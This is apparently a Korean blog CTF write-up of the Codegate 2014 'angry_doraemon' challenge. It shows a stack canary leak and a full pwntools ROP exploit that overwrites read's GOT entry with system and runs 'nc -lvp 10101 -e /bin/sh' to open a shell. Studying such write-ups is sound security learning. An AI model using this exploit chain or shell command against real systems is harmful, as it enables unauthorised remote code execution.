System&Write up/CTF

[Codegate 2014] angry_doraemon

Jubil 2018. 1. 30. 00:57
반응형

[Codegate 2014] angry_doraemon

 


 

angry_doraemon 문제입니다.

 

 


 

main 함수에서 8888 포트로 연결하네요.

 

 

 



 

이렇게 6가지의 Attack menu가 나옵니다.

 

여러 메뉴들을 입력해봤는데, 5. Fist attack에서 r을 입력하면 special attack이 나옵니다.

 


 

분석해봅시다.

 


 

이 부분인데, 4byte 받아서 call 해주지만 chaining을 못하고, 그것보다 맨 앞 바이트가 \x08이 아닌지 필터링합니다. , plt를 쓰지 못 합니다.

 

안타깝지만 일단 pass 하겠습니다.

 

 

또 의심 가는 부분이 있습니다.

 


 

제가 뭘 선택했는지 알려줍니다. 개행 문자 때문에 출력도 이상하게 되는데… canary leak의 냄새가..?

 


 

read 0x6E.  BOF 취약점입니다!

 

일단 첫 바이트가 y여야 하는 것 같습니다.

bufv8(canary)까지의 거리는 0x16-0xc=10입니다.

 

y10개 넣어보겠습니다.

 

1

2

3

4

5

6

7

8

9

10

from pwn import *

 

= remote('localhost'8888)

 

s.sendlineafter('>''4')

s.sendafter('(y/n) ''y'*10)

 

s.recvuntil('y'*10)

 

print hex(u32(s.recv(4)))

cs

 


 

1byteNULLCanary인 것 같습니다.

 

 

1

2

3

4

5

6

7

8

9

10

from pwn import *

 

= remote('localhost'8888)

 

s.sendlineafter('>''4')

s.sendafter('(y/n) ''y'*11)

 

s.recvuntil('y'*11)

 

print hex(u32('\x00' + s.recv(3)))

cs

 

다시 y11개 넣고 leak 해보겠습니다.

그리고 y에 덮인 NULL byte를 추가해서 언패킹합니다.

 

 


 

정상적으로 Canaryleak됩니다.

 

그럼 추가로 더 작성해서 ROP 코드를 작성하겠습니다.

 

 

일단 입출력은 read, write 함수를 이용할 것입니다.

파라미터가 3개이기 때문에 pppr gadget을 구해줘야 합니다.

binarysystem 함수가 없기 때문에, offset을 구해줘야 합니다.

 

 


 

pppr : 0x08048b2c

 


 

read – system offset : 0x99a10

 

 

시나리오는 ‘A’*10 + canary + 12(dummy)Return address로 접근합니다. 그리고 writeable한 주소에 리버스 커넥션을 위한 ‘nc –lvp 10101 –e /bin/sh’ 커맨드를 입력합니다. read gotleak하고 system 함수로 덮어줍니다. read를 커맨드와 함께 호출합니다.

 

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

from pwn import *

 

= remote('localhost'8888)

= ELF('./angry_doraemon')

 

pppr = 0x08048b2c

 

read_plt = e.plt['read']

read_got = e.got['read']

write_plt = e.plt['write']

 

offset = 0x99a10        #read - system

cmd = 'nc -lvp 10101 -e /bin/sh'

 

stdin = 0

stdout = 1

 

s.sendlineafter('>''4')

s.sendafter('(y/n) ''y'*11)

 

s.recvuntil('y'*11)

 

canary = u32('\x00' + s.recv(3))

print "[+] Canary leak : " + hex(canary)

 

s.close()

 

##############################################3

 

= remote('localhost'8888)

 

s.sendlineafter('>''4')

 

#Access the return address

payload = ""

payload += 'A'*10

payload += p32(canary)

payload += 'A'*12

 

#Input command

payload += p32(read_plt)

payload += p32(pppr)

payload += p32(4)

payload += p32(e.bss())

payload += p32(len(cmd)+1)

 

#Output read_add

payload += p32(write_plt)

payload += p32(pppr)

payload += p32(4)

payload += p32(read_got)

payload += p32(4)

 

#Input system_add

payload += p32(read_plt)

payload += p32(pppr)

payload += p32(4)

payload += p32(read_got)

payload += p32(4)

 

#Call read_plt(system)

payload += p32(read_plt)

payload += "AAAA"

payload += p32(e.bss())

 

s.sendlineafter('(y/n) ', payload)

 

sleep(0.5)

 

s.sendline(cmd)

read = u32(s.recv(4))

system = read - offset

print '[+] read() address   : ' + hex(read)

print '[+] system() address : ' + hex(system)

s.send(p32(system))

 

print '[*] Go "nc localhost 10101"'

cs

 

시나리오대로 코드를 작성했습니다.

 


 

root 쉘을 취득했습니다.

반응형

'System&Write up > CTF' 카테고리의 다른 글

[Codegate 2014] nuclear  (0) 2018.01.31
[HDCON 2013] luckyzzang  (0) 2018.01.30
[Codegate 2017] babypwn  (0) 2018.01.29
[Pico CTF 2013] rop4  (0) 2018.01.21
[Pico CTF 2013] rop3  (0) 2018.01.20